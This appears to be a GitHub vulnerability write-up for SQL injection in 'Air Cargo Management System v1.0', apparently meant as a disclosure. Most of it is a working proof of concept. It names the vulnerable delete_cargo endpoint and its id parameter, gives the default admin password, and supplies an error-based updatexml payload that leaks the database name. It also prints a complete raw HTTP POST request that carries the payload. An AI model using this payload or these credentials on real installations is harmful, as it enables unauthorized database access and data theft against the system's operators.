debug601 Create SQLi-2.md History

1 contributor

30 lines (23 sloc) | 1.22 KB

Air Cargo Management System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

The password for the backend login account is: admin/admin123

Vulnerability File: /acms/classes/Master.php?f=delete_cargo

Vulnerability location: /acms/classes/Master.php?f=delete_cargo, id

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /acms/classes/Master.php?f=delete_cargo HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
```

```
Referer: http://192.168.1.19/acms/admin/?page=transactions/view_transaction&id=3
Content-Length: 65
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place --->
```